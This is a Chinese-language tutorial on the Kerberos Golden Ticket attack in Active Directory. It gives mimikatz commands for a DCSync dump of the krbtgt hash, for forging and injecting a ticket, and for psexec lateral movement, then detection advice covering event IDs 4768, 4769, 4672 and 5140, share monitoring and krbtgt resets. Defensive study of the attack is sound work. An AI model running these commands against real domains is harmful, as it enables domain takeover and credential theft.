前提:可以登录到域控制器获取krbtgt账户的hash
官方重置krbtgt账户密码的脚本
https://github.com/microsoft/New-KrbtgtKeys.ps1
(Active Directory中对定期迭代的帐户防止密码重用,默认密码策略被设置为记住24个历史密码,而且至少也要迭代一次保存于电脑帐户。即使密码已更新,也会继续使用前面的密码散列进行身份验证),如果不是很紧急的话最好不要连续修改2次密码,这样会引起域内工作不正常,最好是10个小时以后再修改第二次krbtgt的密码
一、在域控机器上使用管理员权限的CMD 启动mimikatz
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:wlaq.com /user:krbtgt" exit >> 1.txt
二、终端上使用mimikatz,指定随意指定一个用户名,注册登录
"kerberos::golden /domain:wlaq.com /sid:***** /aes256:***** /user:***** /ptt"
mimikatz.exe "privilege::debug" "kerberos::golden /domain:wlaq.com /sid:***** /aes256:***** /user:***** /ticket:gold.kirbi" exit >> 2.txt
mimikatz.exe "privilege::debug" "kerberos::ptt C:\User\user001\Desktop\mimikatz\gold.kirbi05" exit >> 3.txt
三、退出该界面,使用klist查看票据信息,如果出现指定的用户的票据既可以访问域控,可打开新的管理员权限的cmd
四、测试ipc共享连接
五、上传文件到域控
六、使用psexec获取的交互式命令行
七、清除票据信息
cmd klist purge
微软的MS-KILE解释:Kerberos V5不提供对TGS请求的帐户撤销检查,只要TGT有效,即使该帐户已被删除,TGT更新和服务票据也可以发布。KILE提供了一个可以将利用时间限制在较短的时间内(20分内)。当TGT大于20分钟时,KILE KDC需要在域中检查账户
正常来说认证访服务的流程是先4768(TGT)-4769(TGS)-4624(logon),但是黄金票据攻击的话只会有4769-4624,因为TGT已经离线生成了。但是kerberos票据的有效期一般是4个小时(特殊组的用户)或者是10个小时,也就是说TGT在之前申请过了就可以保留4-10个小时之间那么这个时间触发攻击还是只有4769-4624,最好还是流量检测黄金票据攻击。
八、攻击检测
1、与运维同事约定不适用administrator的账户用于平时工作,进行账号权限分离。监控域控日志administrator账户的使用。域内任何用户的SID都是唯一的。【若有能力修改默认mimikatz的RID,且生成的票据验证成功登录域控,可绕过该检测】
Windows EventId 4672
2、共享横向移动监控,在获取到黄金票据后,大多数攻击者都会尝试利用dir命令访问域控查看文件,此时可以监控共享日志
Windows EventId 5140
监控日志满足以下:
a、默认逻辑共享:C$ 、 D$ 、E$
系统目录共享:admin$
b、使用的账户包含统一的前缀(建议运维同事将域管账户统一命名加上前缀,如admin_),在描述上注释哪个管理员使用,便于安全人员对日志进行采集监控
注:此文章参考了很多的网络上的其他文章!!!